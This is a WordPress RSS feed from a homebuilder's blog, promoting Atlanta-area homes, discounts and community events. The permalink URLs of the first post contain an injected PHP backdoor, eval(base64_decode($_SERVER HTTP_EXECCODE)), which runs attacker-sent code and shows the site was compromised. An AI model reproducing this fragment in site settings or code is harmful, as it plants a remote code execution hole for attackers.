Touchstone Homes » touchstone homes http://touchstonehomesblog.com Designed for Living, Built for Life Fri, 03 Feb 2012 15:58:22 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 “Like” Touchstone Homes on Facebook http://touchstonehomesblog.com/2011/03/17/like-touchstone-homes-on-facebook/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2011/03/17/like-touchstone-homes-on-facebook/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Thu, 17 Mar 2011 20:10:00 +0000 tbennett http://touchstonehomesblog.com/?p=499 As part of the Touchstone Homes Social Media Campaign, we use various forms of online social media to spread the word about incentives, special sales, Home of the Week and other announcements offered by the company.  For example, we have offered a dollar discount on Facebook – if you come into the Sales Center and mention that you saw a post on Facebook or Twitter, you will get the discount mentioned in the post!  How easy is that!?!?

All you have to do is go to the Touchstone Homes Facebook Page and “Like” the company.  Once you are added to that exclusive Group of Friends, you will be the first to know about special offers from the company on your new home.

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The Sutton - Unit 2

Touchstone Homes “Home of the Week” for the week of February 28 – March 6, 2011 is New Haven Walk – Unit 2 – The Sutton.  This home is ready to close and welcomes it’s new family.  The Sutton Plan on Unit 2  is a 3 bedroom, 3.5 bath home in a cozy Roswell townhome community.  The home features a large family room with a gourmet kitchen and Recreation/media room, separate dining room and dual master suites, with one additional bedroom.  Unit 2 is the LAST available townhome at New Haven Walk near downtown Roswell.

New Haven Walk is located in Roswell just minutes from downtown Roswell, shopping at North Point Mall, fine dining and boutiques.  This intimate community consists of 16 townhomes total (8 completed) with a dog walking park located at the corner of Houze Road and Houze Way.  New Haven Walk is located GA 400 North at the Mansell Road exit.  Turn left, cross over Highway 9 and turn right at first red light (Houze Road) then make first left onto Houze Way.  Entrance to community will be on your right.

Gourmet Kitchen

This home is reduced from $428,721  to $322,500 for ONE WEEK ONLY.  Plus the Builder will pay up to $5,000 in Closing Costs with our Preferred Lender.  Contract must be written by Sunday, March 6, 2011 and cannot be combined with any other offer or incentives.  Home must close within 30 days of contract acceptance date.  Call Sharon Jones at 678.232.9151  for a VIP Tour of this home in Roswell, Georgia.

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The Washington, Lot 5J

Touchstone Homes would like to introduce a new “Home of the Week” program.  Every week one home will be chosen and discounted to SELL fast.  This home is ready to close and welcomes it’s new family.  This week’s Home of the Week is located in Sterling on the Lake.  The Washington Plan on homesite 5J is a 4 bedroom, 3 bath home on a full daylight basement.  The home features a large family room open to the kitchen, separate dining room and large bonus room upstairs.  The bonus room could be used as a playroom, media room or storage space – it is truly a flexible space on the second floor.  The home has one guest bedroom and bath downstairs as well. The home is Energy Star Certified, thus providing the Homeowner with a savings of up to 15% in annual energy costs.  To see the benefits of owning an Energy Star Certified home, please visit the web site for more information.

Sterling on the Lake is an award winning Master Planned Community by Newland Communities.  This lake community also features top notch amenities including swim, tennis, clubhouse with movie theater and exercise facilities, walking trails, sidewalks, playground and a kids treehouse.  Sterling on the Lake is located 985North exit 12 – Spout Springs Road.  Turn right and continue approximately 3 miles, entrance to Sterling on the Lake will be on the right.  Follow the signs to the model home at 7364 Bird Song Place.

This home is reduced from $299,900 to $284,900 for ONE WEEK ONLY.  Plus the Builder will pay up to $5,000 in Closing Costs with our Preferred Lender.  Contract must be written by Sunday, February 13, 2011 and cannot be combined with any other offer or incentives.  Call Jeff Barnes at 770-965-7816 for a VIP Tour of this home in Flowery Branch, Georgia.

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The Sutton - Unit 2

The week of January 10, 2011 was the week of the blizzard in Georgia!  Metro Atlanta Counties were covered in snow anywhere from 4″-10″ depending on where you were .  Well, “Snowmaggedon” as it has been refered to it was a very busy week here at Touchstone and New Haven Walk!  After a drought of potential customers in this luxury townhome community located at the corner of Houze Road and Houze Way, we had two relocation buyers come in and fall in love at first sight with these gorgeous 3-story townhomes during Snowmaggedon!!!  Both proposects were converted to Buyers and are set to close within 3 days of each other in early March.

New Haven Walk townhomes started with 8 townhomes with a total of 16 townhomes at completion.  Now with 7 townhomes sold or under contract, the Builder is faced with the decision to build another 4-unit building.  This community has been featured in the Roswell Review newspaper, shown on Atlanta’s Best New Homes TV show on Fox 5 and the Winslow Plan was awarded an OBIE Award by the Atlanta Sales & Marketing Council in 2009 for best Townhome Plan in the $300,000 price range.

The Sutton plan is a 3-story townhome with 4th floor attic space that has been floored for storage.  The home boasts 3 bedrooms, 3.5 baths, dual master suites with a fireplace in one of the upstairs bedrooms, hardwood floors, large kitchen with granite countertops, tile backsplash, and Jenn-Air Appliances stainless steel appliances in your gourmet kitchen.  There is a large family room with a corner stacked stone fireplace, wrought iron spindles and designer paint colors.   The master bath has dual vanities, granite countertops and a tiled walk in shower and a separate jetted tub.   The downstairs can be used as a media room or recreation room as well.  You can own this home for $334,900, reduced from $428,718.  For more information call Sharon Jones at 678-461-6011 (office) or 678-232-9151 (cell) or email sjones@touchstonehomes.com.   Click here to watch a Virtual Tour of the community and homes.

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Open Family Room

The 2010 OBIE Award Winning Huntingdon model home at Village Grove is now available from Touchstone Homes.  The home is a two-story on a slab with two-car rear entry garage.  The secondary bedrooms are extremely spacious and well lit with natural lighting, as well with a 4th room downstairs that could be used for an office, playroom, library or even for a 4th bedroom.  The main floor consists of a separate dining room, kitchen, family room and breakfast that is very open with a large kitchen island at bar height, a great place for kids to grab breakfast or a snack after school.

The second level boasts an amazing Master Suite with lots of natural light, sitting area and an exceptional walk in closet off the Master Bath.  The Master Bath features double vanities along with a separate tub and shower.  There are two secondary bedrooms on the second level.

Master Suite

The Huntingdon model is Energy Star Certified by a third party inspection company.  The builder uses R-13 JM “Spider” Insulation which is a blown in insulation, creating less cracks and crevices, and a higher energy savings.  The builder also uses R-38 ceiling insulation in flat ceilings, Low-E Double Pane Insulated Windows, Low Energy Efficient Heater, programmable thermostat(s), sealed openings for pipes and wiring to prevent air infiltration and insulated exterior doors to increase the homes efficiency.  An Energy Star qualified home can save the homeowner as much as 15% in energy bills.  An Energy Star certified home is a healthier home by having sealed ducts to prevent unwanted dust, pollen, pests and fumes from entering the home.  The home features Z-Wave technology, for example, you can program certain lights to come on when you open the garage door through the garage remote.  You’ll never have to walk into a dark house again!!

Gourmet Kitchen

The home features James Hardie Concrete Siding with ColorPlus technology, with a 15 year Limited Warranty and is backed by a solid Builder Warranty.  The Huntingdon Home can be yours for $270,515 (furniture not included).

Village Grove is a Master Planned Community located in Suwanee, in the North Gwinnett School District.  Suwanee was voted in the Top 10 Best Places to Live by Money Magazine.  Village Grove features three distinct product types – townhomes, estate homes and cottage homes.  The community has a Junior Olympic Sized Swimming pool, lighted tennis courts, playground, open air pavillion great for cook outs or family gatherings alongside an expansive green park area.  The overall community consists of 30% park and open space.

Touchstone Homes has been building fine homes in Atlanta since 1994.  Touchstone Homes is the recipient of many Professionalism Awards, management awards and is a Certified Professional Homebuilder through the Homebuilder’s Association.  Stop by and visit this fully decorated model home, decorated in the latest trends by CDS Interior Design of Suwanee.  Model Home is open 5 days a week.  For information on this home , please call 770-831-6883 or visit our web site www.touchstonehomes.com.

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To read more, click here.

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Choose from an array of:

  • Office & Home Furniture Pieces
  • Wall Art
  • Home Appliances
  • Lighting
  • Plumbing Fixtures, bath & kitchen
  • Decorative Accessories
  • and more!!

Items priced to sell and we hope it won’t last long!  So get there early & get first dibs!  For information or directions, call 678-318-4083.

The sale location is 4320 Suwanee Dam Road, at the entrance to Village Grove subdivision in the commercial area.  Upstairs from Salon Greco.  Take 85 north to Lawrenceville-Suwanee Road, turn left off the exit and follow approximately 5 miles.  Cross over Peachtree Industrial Boulevard, Village Grove will be on the left.  Design Studio building will be immediately on the left when you turn into the community.

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Supra Sweepstakes ends Dec 10th

Touchstone Homes is building some great new Energy Star Certified craftsman style homes in Flowery Branch from the $140s.  There are currently two homes available for sale, two very different floorplans – the Campbell & the Clearwater.  These homes feature 3-4 bedrooms and 3 baths, 2-story homes on a slab (basement homes available on pre-sales, 32 homesites to choose from!!!), master up with huge master baths & closets!  Unbelievable layout and space in this price range.

Preview these homes between December 1-10 and your SupraKey will automatically enter your name in a drawing for a $100 gas card.  All you have to do is visit, on your own time, lockbox access to both homes and you will qualify!!!  Tell your friends & bring your buyers back!  3% co-op commission, Move In Package through December 31 includes washer/dryer, blinds and garage door opener.  Contracts must be written by 12/31/10 and close by 1/31/11 in order to qualify.

Come see what Touchstone Homes has to offer at Clarkstone Village!  Driving Directionsm take 985 north to Exit 12 (Spout Springs Rd), turn left off exit, go approximately 1/4 mile and turn right onto Thurmon-Tanner Parkway.  Go approximately 3/4 mile and turn left onto Cantrell Road.  Entrance to Clarkstone Village will be on your right.  Located convenient to 985, commercial shopping at exit 12 includes Home Depot, Target, Kohl’s and Publix.

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Veterans Day 2010

We honor and remember those who fought and lost their lives to allow us to enjoy the freedoms we have today.  Today we salute the more than 20 million veterans whose dedication protects the freedoms we enjoy.  Thank you for your service and your sacrifices.   We honor your fathers, grandfathers, uncles, sons, nephews, cousins and friends.

In November 1919, President Wilson proclaimed November 11th as the first commemoration of Armistice Day with the following words:  “To us in America, the reflections of Armistice Day will be filled with solemn pride in the heroism of those who died in the country’s service and with gratitude for the victory, both the thing from which it has freed us and because of the opportunity it has given America to show her sympathy with peace and justice in the council of nations….”

The day was original planned for celebration with parades and public meetings, but that changed in 1926.  To read more…..

At Touchstone Homes we honor veterans and community leaders everyday by offering a $2,500 discount off the purchase price of your new home.    Walk into any Touchstone Homes community across Metro Atlanta and tell the Sales Agent you are active or retired and you will be the discount on any inventory home.  This “Community Leaders” program also applied to police, firefighters, EMS and other civil servants.  Check our web site for locations and available homes and see the sales agent for details.

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The Clearwater

Two new floorplans are being introduced at Clarkstone Village – the Campbell and the Clearwater.   Both plans are Energy Star ® certified homes.  Energy Star ® certified homes are proven to be 15% more energy efficient than a standard built home, thus saving the consumer money on utilities while the new homeowner enjoys a more comfortable and healthy indoor living environment.  An Energy Star ® home is a healthy home.  An Energy Star ® home features energy efficient heating & cooling systems, blown in “Spider” insulation, windows, doors, ceiling fans, and dishwashers.

“Clarkstone Village is the perfect community and location for first time buyers or down sizing families,” says Mike Zambri, Sales Manager at Touchstone Homes, “The pricing in Clarkstone Village has been reset for today’s Buyer in a price range that is practical for this market.  We are also able to offer our Buyers more value for their dollar due to current market conditions.”

Clarkstone Village is located in the City of Flowery Branch in Hall County.  Clarkstone Village offers low maintenance living and includes:  beautifully landscaped entrance, street lights, and sidewalks within the community.  You are just minutes to the Spout Springs shopping area including Home Depot, Super Target and Kohl’s.  Prices for Clarkstone Village start in the $140’s with the same quality that Touchstone Homes is known for.

Clarkstone Village is serviced by Flowery Branch Elementary, West Hall Middle and West Hall High Schools.  To visit Clarkstone Village travel on Interstate 985 North to exit 12, turn left off the exit and travel approximately 1/2 mile and turn right onto Thurmon-Tanner Parkway.  Travel .8 miles and turn left onto Cantrell Road, entrance to Clarkstone Village will be on the right.  For information on Clarkstone Village, call Jeff Barnes at 770-965-7816 or email clarkstonevillage@touchstonehomes.com.

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